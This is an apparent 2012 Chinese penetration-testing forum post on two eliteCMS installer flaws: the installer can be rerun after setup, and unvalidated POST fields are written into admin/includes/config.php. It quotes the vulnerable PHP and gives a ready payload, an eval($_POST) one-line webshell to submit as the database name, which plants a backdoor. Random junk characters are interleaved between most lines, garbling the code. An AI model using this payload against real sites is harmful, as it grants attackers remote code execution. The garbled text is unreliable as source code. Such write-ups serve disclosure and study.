中国网络渗透测试联盟
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
[打印本页]
作者:
admin
时间:
2012-11-18 13:59
标题:
eliteCMS安装文件未验证 + 一句话写入安全漏洞
eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
+ V" ~5 Y4 J, a8 N
( Q# Q% R/ ]( Q& d1 `* B" I3 ~/ ^( X/ \& M
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
/ N3 ~0 b' J$ t. t9 r5 I# O$ \0 e2 O
我们来看代码：
- ^) P6 G" w0 y- p' ]
! g3 h, \$ J0 X) @6 z d8 F* }3 z
...
* [! F. D7 l9 q K" G
elseif ($_GET['step'] == "4") {
( `# x( P& L0 z; \
$file = "../admin/includes/config.php";
$ j- z; H6 G+ x0 A2 `. A7 b
$write = "<?php\n";
3 I$ }1 }& Q# K4 }" v4 ]4 X! _4 w
$write .= "/**\n";
3 K A! {2 V3 x! G, b4 }: w% Q- x6 W
$write .= "*\n";
! r: S, F) u) C8 z, o; e3 |; g
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
. h& s1 o5 p# x, [: I/ A# O6 ?
...略...
+ x1 Z9 l" c1 A9 a
$write .= "*\n";
; u2 a6 Q) M5 P& P
$write .= "*/\n";
+ l5 F8 F) q/ f6 f
$write .= "\n";
9 q5 N$ n+ x2 b1 s0 s% W
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
$ {6 {* m5 V; u: b; l9 A- T
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- f8 e8 Q# o, r6 {! r O
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 S2 ?! @' w4 Q, d L h2 L
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
2 O" _$ L3 J9 G/ f' \$ G3 W7 g8 V1 S
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
( l, h" ~( Z- d/ p, K1 i
$write .= "if (!\$connection) {\n";
% }; k$ x% C3 b1 _0 U
$write .= " die(\"Database connection failed\" .mysql_error());\n";
( t9 I8 E6 S. q: ?' R
$write .= " \n";
2 u, H; z- ~2 ^; {1 n! }7 t
$write .= "} \n";
, V" k# D3 z/ F2 Z% E& B
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
6 c8 ~# }- U0 ?' O& ]4 A* x/ I' D
$write .= "if (!\$db_select) {\n";
! o) z7 q' t/ w; |1 V4 x2 |
$write .= " die(\"Database select failed\" .mysql_error());\n";
5 P: T! }8 k. O9 G8 F& S6 X
$write .= " \n";
7 b2 c- S* X! u6 z
$write .= "} \n";
3 S$ b5 r) Q- m! M
$write .= "?>\n";
) e, Y7 D9 Q1 j
7 V% Z7 u9 H6 w/ T% u- \9 k
$writer = fopen($file, 'w');
* u z$ u3 D( D- Q7 q# _$ G7 H
...
+ G4 N$ g( Y+ k' R9 Z p
- d7 O. G; B1 i- W
在看代码：
8 Z4 P! H0 ?7 g- ^9 h# q- X
6 v/ @( f7 ^. O B7 [3 k4 t/ L
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
# j, W3 w5 F, A: \* I4 m+ M# X
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
) r2 M) g |# C, o7 b" O- u
$_SESSION['DB_USER'] = $_POST['DB_USER'];
; b0 I' O( m: v) j4 @2 p i
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
" l W# \7 T8 I. l/ U X
# C/ j0 I+ Y% C2 x- x1 {
取值未作任何验证
* V8 d. w \* X8 B- a G
如果将数据库名POST数据：
+ ~5 E' b( h9 ?/ j/ Q
5 O3 Q7 o% t1 z
"?><?php eval($_POST[c]);?><?php
9 b2 X' O3 }: p; Y: R+ Q
! F' r" r# |* s2 J+ e2 o. j
将导致一句话后门写入/admin/includes/config.php
/ i9 Q9 u B4 n1 m9 t, k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2